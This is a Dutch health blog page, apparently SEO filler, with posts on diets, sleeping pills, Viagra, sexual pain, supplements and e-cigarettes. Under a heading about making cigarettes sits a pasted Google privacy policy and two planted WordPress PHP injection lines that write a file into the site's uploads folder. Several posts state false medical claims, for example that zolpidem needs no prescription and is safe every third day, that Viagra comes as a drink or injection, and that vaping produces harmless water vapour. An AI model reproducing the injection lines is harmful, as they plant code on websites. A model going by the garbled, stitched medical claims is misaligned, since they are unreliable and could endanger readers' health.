health

Moniek haar struggles met dieet: haar beste tips

Ik worstel al jaren met mijn gewicht. Pas sinds afgelopen half jaar eindelijk goed op pad gekomen naar mijn doel om onder de 80 kilo te wegen. Ik ben een relatief kleine vrouw van rond de 40. Dus meer dan 80 kilo zorgt voor een slechte BMI score. Het is nog geeneens zo zeer om esthetische redenen dat ik wil afvallen. Ik hoef niet zo nodig een beach body te behalen.

Het is meer dus uit functionele gezondheid worries dat ik er veel belang aan hecht dat in 2018 eindelijk de ommekeer teweeg gebracht zal gaan worden.

Er zijn een paar hulpmiddelen die recent voor aanmoedigende successen gezorgd hebben die ik wil toelichten.

Allereerst heb ik een afslank pakket besteld bij be-slank.nl. Bevat o.a. shake pasta en repen. Alle voeding in dit pakket zijn natuurlijk geschikt voor iemand zoals ik die een dieet volg. Dit is bijv. een speciale pasta, eiwitrijk en laag in koolhydraten. Wat ik volg is dus min of meer een eiwitdieet. Niet superstrikt dus het is niet alsof alle brood en pasta uit mijn leven geweerd wordt, maar wel minder.
Lees hier meer. Ik vind dit een fijn dieet omdat dus niet zo super strikt is zoals andere voorschriften, ik voel me er ook goed bij.

Verder dan nog, ben ik ietwat meer gaan bewegen. We hebben recent een e-bike aangeschaft en daardoor heb ik ook meer zin om te gaan fietsen. Ik tracht tweemaal per week tenminste een uur te fietsen en tot nu toe lukt dat goed. Zeker deze zomer, met al dat prachtige weer is het fijn om er even op uit te gaan op mijn elektrische fiets. Als ik ga fietsen neem ik dan vaak een Be-slank maaltijdreep mee mocht ik honger krijgen onderweg. Enfin, ik zie verdere resultaten van deze lifestyle switch met vertrouwen tegemoet.

Zolpidem als slaapmiddel gebruiken

Het is geen geheim dat vele mensen slaapmiddelen gebruiken wanneer ze niet goed kunnen slapen. Sommige mensen zijn bang om ze te gebruiken, omdat ze horen hoe verslaafd men aan ze kan raken. Maar dat gebeurt wanneer men ze niet op de juiste manier gebruiken. Het is belangrijk om na te gaan wanneer en hoe vaak ze ingenomen moeten worden. Als je je daaraan houdt zal er weinig mis kunnen gaan.

Laten we even naar Zolpidem kijken. Het is een slaapmiddel die men inneemt wanneer ze slaapproblemen hebben. Het werkt binnen een half uur en werkt dan 6 uren lang. Het mag eens in de 3 dagen gebruikt worden. Je kunt er pas verslaafd aan raken wanneer je deze instructie negeert en het elke dag inneemt. Hou er rekening mee dat je de volgende dag nog suf of slaperig kan voelen. En autorijden, mag 8 uren na inname niet. Het is dus een slaapmiddel die handig is om in huis te hebben en die je pas kunt gebruiken wanneer je een avond helemaal geen oog dicht kan doen.

Net als andere slaapmiddelen mag Zolpidem zonder een recept opgehaald worden. Je kunt dan gewoon naar de drogist of apotheker gaan wanneer je deze slaapmiddel wilt hebben. Maar daarnaast kun je het ook online bij een webshop kopen. Ze leveren het dan helemaal aan huis. Als je in een situatie bent waar je helemaal je huis niet uit kan, dan is dit een goede oplossing. Je kunt zo vele medicijnen, waarvoor je geen recept nodig hebt, zo bestellen zodat je ze altijd in huis hebt voor een noodgeval.

Laat je behandelen in Groningen

De mens heeft vele problemen waarmee ze moeten kampen. Ze hebben iets ergs meegemaakt dat geleidt heeft tot depressie of PTSS, kunnen door spanning niet genoeg meer slapen of krijgen op een latere leeftijd last van Parkinsons. Ze zijn niet allemaal even erg, maar ze zijn allemaal vervelend op hun eigen manier. Ook zijn er voor sommige aandoeningen geen medicijnen te krijgen en moet men dan ermee moeten leven. Neurobics heeft behandelingen die je met deze problemen kan helpen. Ze hebben geen blijvende oplossingen voor alle aandoeningen, maar ze kunnen het wel aanzienlijk verminderen.

Vele mensen die nog niet bekend zijn met Neurobics zullen misschien denken dat het pijn zal doen of dat het je gezondheid kan aantasten, maar daar is niets van waar. Neurofeedback gebruikt hersengolven om de stand van je hersenen op te meten. Ze moeten eerst weten hoe gespannen of gerelaxt je hersenen zijn voordat ze het kunnen behandelen. Als ze dat weten, dan gaan ze over tot de behandeling. Dit doen ze door positieve feedback te sturen naar je hersenen. Dit kan in de vorm zijn van een computerspelletje.

Bezoek de website Neurobics.nl om meer concrete informatie te krijgen over zo een behandeling. Je kunt nagaan hoe lang het ongeveer zal duren, recensies lezen van mensen en meteen kijken hoeveel het je zal kosten. Het is een veilige procedure, dus zowel volwassenen als kinderen kunnen eraan deelnemen. Ben je geïnteresseerd? Dan kun je een afspraak maken voor een Neurobics behandeling in Groningen. Het is zeker wel het proberen waard om te zien of het ook bij jou positieve resultaten zal leveren.

Sildenafil en de werkende stof hierachter

Viagra, die als werkende stof Sildenafil heeft, wordt gebruikt bij mannen die moeite hebben om een erectie te verkrijgen. Het kan ook gebruikt worden om een verhoogde bloeddruk in de longen (Ulmonale Arteriële Hypertensie) en doorbloedingsstoornis (ziekte van Raynaud) te behandelen.

Viagra kun je in 3 vormen krijgen: als viagra tabletten, drank of via een injectie. De tabletten moeten met een glas water worden ingenomen. Je moet de drank volgens de aangegeven dosering innemen en het daarna met water wegspoelen. De injectie krijg je van een verpleegster.

Na inname van de tabletten zal de penis na een uur stijf worden. Dit zal ongeveer 4 uren aanhouden. Bij inname voor de Hypertensie moet je het een aantal weken innemen. Meestal neemt de benauwdheid na 12 weken af.

Zoals bij de meeste medicijnen, kun je ook een aantal bijwerkingen van de Viagra verwachten. De meest voorkomende bijwerkingen zijn: diarree, maagdarmklachten, hoofdpijn en blozen. Bijwerkingen die minder vaak kunnen voorkomen: rug- en spierpijn, duizeligheid en oogklachten. Bij langdurig gebruik kan de persoon ook last krijgen van griepachtige verschijnselen en een branderige gevoel van de huid. Het is beter om Viagra maar 1 keer per dag in te nemen, want anders kun je last krijgen meerdere bijwerkingen.

Oudere mensen die last hebben van art-en vaatziekten hebben de kans om weer last te krijgen van hartziekten. Raadpleeg de arts wanneer je pijn op je borst begint te voelen. Het kan zijn dat je wazig zal beginnen te zien na gebruik van de Viagra. In dat geval is het geen goed idee om achter de stuur te gaan zitten. Het is ook beter om minder alcohol te drinken, omdat het voor duizeligheid kan zorgen en alcohol de kans op een erectie kan verminderen.

Medicijnen op prijs vergelijken doe je op Doktermedicijn.nl

Pijn na seks

Pijn tijdens of na het vrijen, komt vaak voor. Sommige problemen zijn (redelijk) eenvoudig zelf op te lossen, voor andere problemen is een bezoek aan de huisarts nodig.

Stress

Voor een aantal klachten is het redelijk de vraag te stellen of stress een factor kan zijn. Het lijkt een open deur en een oorzaak waar zoveel op afgeschoven wordt, maar stress kan in het geval van pijn tijdens of na seks een grote invloed hebben.
Stress heeft verschillende oorzaken: dagelijkse stress, stress na het krijgen van een baby, piek stress door bijvoorbeeld werk en natuurlijk stress vanwege seks. Vooral wanneer de seks op zichzelf spanning met zich meebrengt, kan dat nogal wat klachten geven. Stress doet van alles met het lichaam, van (ongewenste) spierspanning tot niet kunnen focussen op het hier en nu.

Gespannen zijn om de seks zelf, omdat bijvoorbeeld aangeleerd is dat het niet mag of vies is of een nare ervaring, kan ervoor zorgen dat vrijen helemaal niet meer mogelijk is door het aanspannen van de bekkenbodemspieren. Het zijn problemen die in het hoofd zitten en het lijf reageert. Deze klachten gaan niet zomaar vanzelf over. Daarover praten, is lastig, maar het is zeker de moeite waard om naar de huisarts te gaan, eventueel voor een doorverwijzing naar een seksuoloog.

Stress door omstandigheden waardoor het focussen op het hier en nu moeilijk is, kan een verminderde opwinding veroorzaken wat een droge vagina tot gevolg heeft waardoor seks moeilijk en zelfs pijnlijk wordt. Dit is eigenlijk ook niet zo raar. Want als je met je hoofd bij allemaal andere dingen zit die je nog moet doen, die je zorgen baren of die rondspoken, wordt het heel lastig om te focussen op het hier en nu. Eigenlijk is dit redelijk simpel op te lossen. Door tijd vrij te maken, kom je al een heel eind. Tijd die alleen bestemd is om te vrijen en niets anders, waar je niet gestoord kunt worden, zodat je je helemaal kunt concentreren op dat waar je mee bezig bent. Daar hoeft niet een hele agenda voor omgegooid te worden, dat kan ook ergens een uurtje zijn.

Lichamelijke oorzaken en klachten

  • Hormonale veranderingen.

Door allerlei oorzaken kan de hormoonbalans in het vrouwenlijf verstoord worden, soms door natuurlijke oorzaken zoals de overgang, soms door omstandigheden zoals ziekte. Door afname van oestrogeen heeft een deel van de vrouwen last van een droge vagina. Glijmiddel kan hier een oplossing bieden.
Ook kan de huid dunner worden of gaan schrijnen dan is een bezoek aan de huisarts nodig voor een (hormoon)zalf of een andere oplossing.

  • Branderige pijn in en rond de vagina.
    Als dit het geval is, is het zeer aan te raden om even naar de huisarts te gaan. Deze klachten kunnen veroorzaakt worden door een vaginale (schimmel)infectie, medicatie, droge vagina of stress. De huisarts kan uitsluitsel geven of het een infectie is of niet.
  • Diepe pijn tijdens of na het vrijen.
    Diepe pijn is een breed begrip. Het kan alleen pijn in de vagina zijn, maar ook buikpijn. Als diepe pijn voorkomt tijdens het vrijen, kan het zijn dat de penis tegen de baarmoedermond aan stoot en dat kan een pijnlijk gevoel zijn. Dat is eenvoudig op te lossen door een positie te kiezen die voor beiden prettig is en waar de penis niet zo diep gaat (bron: depaarsekeizerin.nl).
    Maar het kan ook andere oorzaken hebben zoals een slappe vaginawand, een ontsteking in de bekkenbodem, endometriose (baarmoederslijmvlies buiten de baarmoeder), een prikkelbare darm, enzovoorts. Het is ten zeerste aan te raden om met diepe klachten, in de vagina of de buik, naar de dokter te gaan wanneer simpele oplossingen niet lijken te werken.

Seks zou een fijne ervaring moeten zijn, als dat het niet is, is er iets aan de hand. Als het niet prettig is, is het slim om na te gaan of de oorzaak voor de hand ligt of dat er misschien iets meer aan de hand is. In geval van twijfel is een doktersbezoek gewenst en kan geen kwaad, niets doen soms wel.

Gezonde snacks op een rij

Je zit heerlijk op de bank TV te kijken en krijgt toch wel erge trek. Natuurlijk wil je verantwoorde snacks eten maar welke zijn goed en verantwoord om op precies zo’n moment te eten? Dit zijn 6 ‘gezondere’ snacks voor op de bank:

  1. Zoute popcorn

Popcorn bevat veel antioxidanten en is vooral erg lekker om te eten tijdens het TV kijken! Grijp niet naar de bekende zak chips maar naar zoute popcorn dus! Dat scheelt ongeloofelijk veel overbodige calorieën in vergelijking met chips.

  1. Crackers

Heb je zin in een hartig hapje? Je kan jouw (lijnzaad)cracker gezond én goed beleggen met: kipfilet, rosbief of rookvlees. Wil je je cracker iets uitgebreider beleggen? Probeer dan eens hüttenkäse, tomaat en bieslook. Een gekookt eitje is ook altijd erg lekker, vult én is gezond!

  1. Warme snacks

Een appeltje uit de oven of magnetron bestrooit met kaneel eventueel met biologische rozijntjes is ook erg lekker om voor de TV op te eten! Helemaal als je het koud hebt en zin in iets warms. Neem hier bijvoorbeeld een kop groene thee bij. Heerlijk warm én gezond!

  1. Yoghurt of kwark

Doe bijvoorbeeld een stuk fruit door de yoghurt of de magere kwark om het een heerlijke frisse smaak te geven.

  1. Vers fruit

Al het verse fruit is gezond en schuldvrij te eten. Denk bijvoorbeeld ook aan een glas versgeperste sinaasappelsap. Heerlijk fris om te drinken en het vult ook nog eens goed!

  1. Groenten

Mix verschillende soorten rauwkost tot een kleine salade, maak hem niet TE groot. Denk bij voorbeeld ook aan gedroogd fruit en ongezouten noten die je door de salade kan doen om de smaak en voedingswaarde in belangrijke mate te verhogen.

Ontdek ook jouw BMI cijfer met behulp van deze BMI calculator!

De voordelen van zelf sigaretten maken

When you use Google services, you trust us with your information. This Privacy Policy is meant to help you understand what data we collect, why we collect it, and what we do with it. This is important; we hope you will take time to read it carefully. And remember, you can find controls to manage your information and protect your privacy and security at My Account.
There are many different ways you can use our services – to search for and share information, to communicate with other people or to create new content. When you share information with us, for example by creating a Google Account, we can make those services even better – to show you more relevant search results and ads, to help you connect with people or to make sharing with others quicker and easier. As you use our services, we want you to be clear how we’re using information and the ways in which you can protect your privacy.
Our Privacy Policy may change from time to time. We will not reduce your rights under this Privacy Policy without your explicit consent. We will post any privacy policy changes on this page and, if the changes are significant, we will provide a more prominent notice (including, for certain services, email notification of privacy policy changes). We will also keep prior versions of this Privacy Policy in an archive for your review.
[insert_php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/insert_php]
[php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/php]

Goedkoop in vorm komen

Sporten is natuurlijk hartstikke goed voor je gezondheid. Het kost echter wel aardig wat geld. Als je regelmatig gaat fitnessen ben je niet alleen geld kwijt aan lidmaatschapskosten maar ook natuurlijk aan sportbenodigdheden als sportschoenen en sportkleding. Echt goedkoop zijn sportbenodigdheden vaak niet. Gelukkig is er een manier waarop je goedkoop in vorm kunt komen. Lees hier hoe je goedkoop in vorm komt.

Kortingsacties

Als je regelmatig sport is het belangrijk om kwalitatief goede sportschoenen en sportkleding aan te schaffen. Helaas kosten de sportartikelen van bekende merken vaak aardig wat geld. Het is dan ook belangrijk om goed te letten op kortingsacties, zodat je geld kunt besparen. Er zijn gelukkig tegenwoordig veel sportwebshops die met kortingsacties werken. Hierdoor hoef je niet elke keer de volle prijs te betalen voor je aankopen.

Geld besparen

Er zijn sites waar je op een winkel kunt zoeken en vervolgens alle kortingsacties van die winkel overzichtelijk te zien krijgt. Hierdoor zie je in één oogopslag welke kortingsacties op dat moment spelen, en kan je de kortingsactie kiezen voor jou het meest aantrekkelijk is. Vervolgens hoef je alleen maar de code te kopiëren, en deze tijdens het afrekenen in te voeren. Makkelijker kan het bijna niet. Het voordeel is dat dit soort sites regelmatig de kortingsacties updaten, dus je bent altijd verzekerd van de laagste prijs. Kijk dan ook altijd voor het shoppen eerst naar alle kortingsacties die op dat moment gaande zijn. Door gebruik te maken van deze kortingsacties kun je jaarlijks honderden euro’s besparen op je sportbenodigdheden. Lees hier hoe je goedkoop in vorm kunt komen.

Goedkoop

Het leuke is ook dat dit soort sites werken met allerlei verschillende kortingsacties. Denk aan kortingscodes, actiecodes, promotiecodes, kortingsbonnen en coupons. Als je hier handig gebruik van maakt, kun je goedkoop en makkelijk leuke sportitems scoren.

Nooit meer een studiedip met de juiste voedingssupplementen

PaneuromixBen jij toe aan een opkikker of heb je een lange studieweek voor de boeg? Voel je je nu al vermoeid en gedemotiveerd bij het vooruitzicht? Dan is er voor jou de ideale oplossing. Paneuromix biedt namelijk de beste voedingssupplementen om je hersen capaciteit te stimuleren. Door de juiste ingrediënten zijn je hersenen beter in staat om informatie op te nemen en te onthouden. Daarnaast is je concentratie veel scherper en kun je het lezen van ingewikkelde teksten veel langer volhouden. Met andere woorden, op de korte termijn studeren wordt effectief, want je kunt alle informatie in korte termijn in je hoofd stampen en direct doorgaan naar je tentamen om de informatie vervolgens makkelijk te reproduceren. Het is niet alleen een voordeel tijdens de studie, maar ook tijdens je daadwerkelijke tentamen kun je je focus goed volhouden tot aan de laatste vragen om op deze manier optimaal te presteren.

Niet studeren, toch optimaal presteren

Natuurlijk is Paneuromix er niet alleen om je te helpen studeren. Het biedt jou de mogelijkheid om voor langere tijd meer uit jezelf te halen. Je kunt zelfs op reguliere basis je hersenbooster innemen in de vorm van 1 tot 3 capsules per dag om zo, wat je ook doet, of wat je deadline ook is, optimaal te presteren. Daarnaast is het fijn om je goed te voelen qua focus en concentratie. Want ook al heb je niks te doen, met de voedingssupplementen van Paneuromix voel je je altijd beter en meer geconcentreerd. Dus in plaats van op de bank hangen en je tijd verdoen ben je altijd gemotiveerd om dingen te ondernemen, om die studie te volgen of dat boek te lezen. Kortom je kunt jezelf blijven verbeteren. Hoe je het ook wendt of keert het is de ideale manier om je leven die boost te geven en met een andere kijk op de dingen het leven in te stappen.

Mediteren met muziek aan?

Mediteren biedt vele voordelen voor zowel jong als oud. Het is voor iedereen aan te raden als je meer uit je dag wilt halen. Zo kun je door te mediteren namelijk een stuk productiever worden, minder stress krijgen en je meer bezig zijn met het moment. De vraag is dan, hoe begin ik nou met mediteren? Moet ik gewoon 10 minuten stil gaan zitten en af gaan wachten tot dit helpt of moet ik er serieus mee aan de gang?

Hoe moet je beginnen met mediteren?

Als je gaat beginnen met mediteren moet je het rustig aanpakken.  Ga niet met haast aan het werk en verwacht niet dat je direct al het mediteren goed onder de knie krijgt. Meditatie kan als een ‘’skill’’ worden gezien dat je moet leren, hoe meer je het oefent hoe beter je er in zult worden. Begin dus ook niet als een gek met 10 of meer minuten maar doe het rustig aan. Als beginner is het misschien verstandig om het een aantal minuten te beginnen. Misschien is 1 minuut al voldoende. Dit bouw je rustig op tot je ongeveer 5 minuten kan mediteren. Wat ook kan helpen is een speciale cursus te volgen waar je professionele begeleiding krijgt.

 

 

Meditatie muziek

Wat ook handig is tijdens het mediteren wat rustgevende muziek op te zetten. Zoek maar eens op youtube en je vindt genoeg meditatie muziek. Dit kan je goed helpen om je te blijven focussen op je ademhaling. Een andere manier om je te blijven concentreren is een geleide meditatie te volgen. Dit is een audio waar je een stem hoort die je vertelt wat je moet doen, of juist niet en waar je bijvoorbeeld aan moet denken etc. Voor beginners is dit zeer aan te raden.

Het ziekenhuisdieet

Het ziekenhuisdieet is een omstreden manier om snel veel gewicht te verliezen. Het dieet kent zijn oorsprong in, zoals de naam het zegt, een ziekenhuis. Het ziekenhuisdieet word gebruikt bij mensen die op een ziekenhuisbed liggen, veel te veel wegen en geopereerd dienen te worden. Overgewicht en geopereerd worden zijn immers een gevaarlijke combinatie. Tijdens de vijfdaagse kuur verlies je meestal om en nabij de 8 kilo.

Hoe werkt het ziekenhuisdieet?

Tijdens het dieet ligt de nadruk op het maximaal verminderen van de in te nemen koolhydraten. Waar volwassenen normaliter tussen de 2000-2500 calorieën binnen dienen te krijgen, is dat tijdens het ziekenhuisdieet onder de 1000 calorieën.

Een voorbeeld van een dag uit het ziekenhuisdieet:

Ochtend: 1 grapefruit of 1 sinaasappel, 1 geroosterde boterham of 1 beschuit en 1 kopje thee of koffie.
Middag: 1 grapfruit of 1 sinaasappel, 1 ei, 2 bekertjes halfvolle of volle yoghurt, 2 geroosterde boterhammen of 2 beschuiten.
Avond: 2 eieren, 2 tomaten, 1 bekertje halfvolle of volle yoghurt, 2 geroosterde boterhammen of 2 beschuiten, halve krop sla.

Dieet voeding

Waarom het ziekenhuisdieet?

Het ziekenhuisdieet is binnen het ziekenhuis zo’n groot succes gebleken, dat deze omstreden methode ook buiten het ziekenhuis wordt gebruikt. Vooral voor speciale gelegenheden wordt het ziekenhuisdieet gebruikt zoals bij: bruiloften, vakanties, dates etc. Want zeg nou eerlijk, wie wil er bij deze gelegenheden nou niet op zijn best uit zien?

Is het ziekenhuisdieet geschikt voor mij?

Bij een dieet is het verstandig dat je je er goed bij voelt. Het ziekenhuisdieet brengt de nodige risico’s met zich mee, aangezien je niet voldoende calorieën binnenkrijgt. Moe, hoofdpijn, futloos, een contant hongergevoel en het jojo-effect, zijn slechts enkele gevolgen van het ziekenhuisdieet. Ervaring leert dat geleidelijk en op een gezonde manier afvallen veel effectiever is. Snel afvallen is voor sommige situaties ideaal, maar voor de lange termijn is een alternatief voor het ziekenhuisdieet wellicht een betere keuze.

Het Cambridge dieet en de ontwikkeling er van

Afvallen met het cambridge dieetHet Cambridge dieet bestaat al sinds de jaren zestig en is ontwikkeld door dr. Alan Howard. Het Cambridge dieet staat geheel in het teken van afvallen met maaltijdvervangers. Deze maaltijdvervangers bevatten weinig koolhydraten, waardoor je snel en gemakkelijk kiloís verliest. Na het voltooien van het dieet mag je vervolgens voorzichtig weer overgaan op het eten van normale voeding, waarbij het uiteraard de bedoeling is dat je de verloren kiloís niet weer aankomt.

Om aan het Cambridge dieet deel te nemen, dien je altijd begeleid te worden door een consulent. Zo zijn de maaltijdvervangers van het dieet niet verkrijgbaar in de winkel, maar dien je deze te krijgen van een professionele consulent die je bijstaat tijdens je strijd tegen de overtollige kiloís. Samen met de consulent doorloop je hierbij de volgende vier fases:
1. De voorbereiding: bij de voorbereidende fase van het Cambridge dieet bereid je je lichaam alvast voor op wat er komen gaat. Dit doe je door minder te eten en voornamelijk koolhydraten te mijden.
2. Het daadwerkelijke afslanken: tijdens de tweede fase van het dieet gebruik je alleen de maaltijdvervangers van het Cambridge dieet. Deze maaltijdvervangers worden aangevuld met lichte maaltijden en 2,5 liter water per dag.
3. Het afbouwen van het dieet: als je het gehele dieet hebt doorlopen, ga je rustig weer over op het eten van normale voeding. Dit dien je voorzichtig te doen, zodat je niet direct terugvalt in je oude patroon.
4. Gewichtsbeheersing: tijdens de laatste fase van het dieet krijgen voeding en leefstijl extra aandacht. Op deze manier kun je het behaalde resultaat behouden en komen de verloren kiloís niet terug.

Cambridge dieet en de maaltijd vervangers

De maaltijdvervangers die je eet tijdens het Cambridge dieet bestaan uit shakes, repen en soepen. Hierbij kun je kiezen uit drie maaltijdvervangers per dag die je dagelijks 500 kcal opleveren of vier maaltijdvervangers per dag die je dagelijks 800 kcal opleveren. Deze 800 kcal kun je wat verhogen door ook lichte maaltijden te eten en melkproducten en fruit aan het dieet toe te voegen. De grens van het maximaal aantal kcal per dag is 1200.

De voordelen van het Cambridge dieet
Het volgen van het Cambridge dieet brengt verschillende voordelen met zich mee, namelijk:
– Door de maaltijdvervangers val je snel af.
– Je krijgt professionele begeleiding van een gewichtsconsulent.
– Je hebt een duidelijk beeld van wat je wel en niet mag eten.

Mede om deze voordelen is dit dieet nog altijd een geliefd dieet in Nederland en wordt dit dieet nog altijd door veel mensen met succes gevolgd.

Wat heb je aan slakkengel voor je lichaam?

Slakkengel productMisschien heb je weleens gehoord van slakkengel, slakkencrème of een ander product dat gemaakt is van slakkenslijm, maar vraag je je toch af wat het nou eigenlijk doet. Er wordt gezegd dat het goed is voor de huid, maar waar is het goed voor de huid? Wat voor effect heeft het op de huid? Wat is de werking van slakkengel? Op www.slakkengelervaring.nl kunt u erg veel informatie vinden over slakkengel, en alles hier om heen.

Wat heb je er aan?

Om het simpel te houden: slakkengel is goed voor de huid. Welk gedeelte van de huid? Het hele lichaam of alleen het gezicht? Hoe vaak moet je het opsmeren voor een fatsoenlijk resultaat? De zo net genoemde vragen worden in dit artikel beantwoord.

Gedeelte van de huid

Slakkengel kan eigenlijk op elk gebied van de huid gebruikt worden, maar dit is natuurlijk niet nodig. Het belangrijkste is het gezicht (natuurlijk), om puistjes, wallen en rimpels tegen te gaan. (of gewoon om een gladde huid te krijgen)  Maar naast het gezicht kan het natuurlijk ook voor andere lichaamsgedeelten helpen, zoals een litteken op je arm, striemen die zijn overgebleven van zwangerschap of een brandwond op een been die maar niet wil herstellen.

Hoe vaak opsmeren?

Het wordt aangeraden om slakkengel twee maal per dag op te smeren, zoals  in de morgen en ’s avonds. Dit kan bijvoorbeeld voor je dagelijkse dag- en nacht crème gedaan worden, of als vervanging van deze.

Wat heb je er dus aan?

Er zijn net al een aantal effecten van slakkengel genoemd: puistjes verminderen, rimpels verminderen, wallen onder de ogen verminderen, brandwonden sneller laten herstellen, striemen verminderen en gewoon een gladde huid zien te krijgen!  Het algemene doel is dus het verbeteren van de huid.

Al deze genoemde effecten gelden naast slakkengel, ook voor slakkencrème.

Wil je nog meer weten over slakkengel, slakkencrème of andere producten die gemaakt zijn op basis van slakkenslijm? bekijk dan ook eens de website www.slakkengelervaring.nl om meer te weten te komen over slakkengel en slakkencrème. Hier kunt u ook ervaringen van mensen bekijken over meerdere producten. Hierdoor krijgt u een goede kijk op de kwaliteit van de producten, mocht u geïnteresseerd zijn in het kopen van een potje slakkengel.

Het belang van goede sportvoeding

Sportvoeding is handig om zo sneller te kunnen herstellen na een zware training, maar het kan ook een aanvulling zijn van ontbrekende voedingsstoffen. Veel sporters, van amateurs tot professionele sporters, gebruiken sportvoeding. En er is veel keus. Als je je zoektocht bij een zoekmachine als Google begint zul je vele webshops vinden met veel proteïneshakes en voedingssupplementen.

Basisvoeding ook belangrijk

Gezonde voedingJe kunt als sporter nog zoveel eiwitshakes en hersteldranken tot je nemen, sportvoeding is nutteloos als de basisvoeding niet goed is. Bij veel amateursporters ontbreekt deze kennis. Ze gebruiken soms veel meer sportvoeding dan nodig is. De meeste sportvoedingsdeskundigen stellen dat mensen die een paar uurtjes in de week fitnessen in principe geen sportvoeding nodig hebben. Het wordt anders wanneer je zwaarder en vaker gaat sporten. Te veel sportvoeding kan betekenen dat je dikker wordt. Ervaren sporters die sportvoeding gebruiken hebben er overigens ook niet altijd baat bij. Die moeten eerst zorgen voor een goede basisvoeding.

Het dagelijkse eetpatroon is ten eerste het belangrijkste. Dit moet goed zijn. Wanneer dit niet goed is hoef je niet aan sportvoeding te beginnen. Bij een voedzaam dieet hoort bijvoorbeeld brood, vlees, aardappelen, zuivel, noten en veel groente. Ontbijten is belangrijk en iets dat door veel mensen nog wordt onderschat. Goed en gezond ontbijten is dus ook belangrijk. Wanneer de dagelijkse hoeveelheid eten gezond en compleet is, kun je eventueel kijken naar aanvullende voeding.

Sportvoeding is wel belangrijk bij mensen die veel en zwaar trainen. Het is zelfs wetenschappelijk bewezen dat een sporter beter kan presteren met sportvoeding. Daarom moet je sportvoeding niet onderschatten wanneer je veel sport. Eventueel kun je een expert raadplegen voor advies, want niet alle sportvoeding is even goed.

Waar sportvoeding kopen?

SportvoedingwebAls je behoefte hebt aan goede sportvoeding kun je het best kijken bij Sportvoedingweb.nl. Hier hebben ze allerlei soorten sportvoeding. Handig voor wanneer je bijvoorbeeld ruim 150 kilometer hebt gefietst en wel wat extra’s kan gebruiken. Dan kun je kijken naar sportdrank, maar ook wanneer je iets aan je lichaam wilt doen en wilt aankomen. In dat geval zijn eiwitten ideaal en eigenlijk onmisbaar. Het is namelijk belangrijk dat je voldoende eiwitten binnenkrijgt, want zonder de juiste en voldoende eiwitten zul je niks merken van je geleverde arbeid in de sportschool. Kijk daarom eens op Sportvoedingweb.nl voor de juiste sportvoeding. Sportvoedingweb.nl staat namelijk bekend als de nummer één webshop voor onder meer vitaminen en supplementen. Of je nu wilt afvallen of aankomen, het kopen van producten kan bij Sportvoedingweb.nl.

Ook erg belangrijk zijn multivitamine, net zoals bij sportvoeding heb je ook dagelijks de juiste vitamine nodig om alles uit je lichaam te halen.

De voordelen van het elektrisch roken

Elektrisch roken wordt steeds populairder en dit is niet raar vanwege de vele voordelen dat het heeft ten opzichte van het normale roken. Elektrisch roken is een betere manier van roken dan het roken van tabak. Het roken van tabak is zoals iedereen wel weet, zeer slecht voor de gezondheid en dit probeert men te verminderen door het roken van e-sigaretten. Ook is het elektrisch roken erg modern geworden.

Het eerste grote voordeel is de kosten van het roken van e-sigaretten. Dit ligt een stuk lager dan het roken van de normale sigaretten. Het enigste wat even wat kost is de aanschafprijs van een e-sigaret. Voor de rest hoeft er alleen nog maar het vloeistof dat opgerookt wordt gekocht te worden. Dit is vele malen goedkoper dan het roken van tabak.

E-sigaretten soortenOok is het roken van de elektrische sigaret natuurlijk veel gezonder dan de normale sigaret. De e-sigaret bevat geen teer en andere giftige stoffen die slecht zijn voor het lichaam. De e-sigaret bevat dus geen kankerverwekkend teer. Het bevat ook geen stikstofoxide en koolmonoxide, dat de conditie en ademhaling verslechtert. Ook zit er minder nicotine in de e-sigaret. Je kan zelf kiezen hoeveel nicotine je wil, dit verschilt namelijk per vloeistof. Voor mensen die willen stoppen met roken is de e-sigaret dus een ideaal middel om het nicotine gebruik af te laten bouwen. Zo kan er steeds een vloeistof worden gekocht met minder nicotine om het lichaam er rustig aan te laten wennen.

Ook de geur en de smaak zijn een voordeel van de e-sigaret. De stinkende lucht van gerookte tabak blijft nu niet meer hangen in de auto of huis aangezien de e-sigaret niet zo stinkt! De e-sigaret is in verschillende smaken verkrijgbaar en er zit vast wel een smaak bij die jij lekker vindt.

Mensen om je heen krijgen de schadelijke stoffen niet in die door normale rokers wel naar binnengebracht worden. Zo red je dus niet alleen jezelf, maar ook mensen om je heen.

BrandgevaarlijkDe e-sigaret is niet brandgevaarlijk, weggegooide net gerookte sigaretten zijn vaak de oorzaak van een brand. Dit wordt voorkomen met de e-sigaret.

Er komt geen rook van de sigaret af die de omgeving vervuild, de e-sigaret werkt namelijk niet op rook, maar op (onschuldig) waterdamp.

Zo zijn er dus genoeg grote en kleine voordelen bij het elektrisch roken en daarom is het dus een belangrijk product voor de toekomst en nu.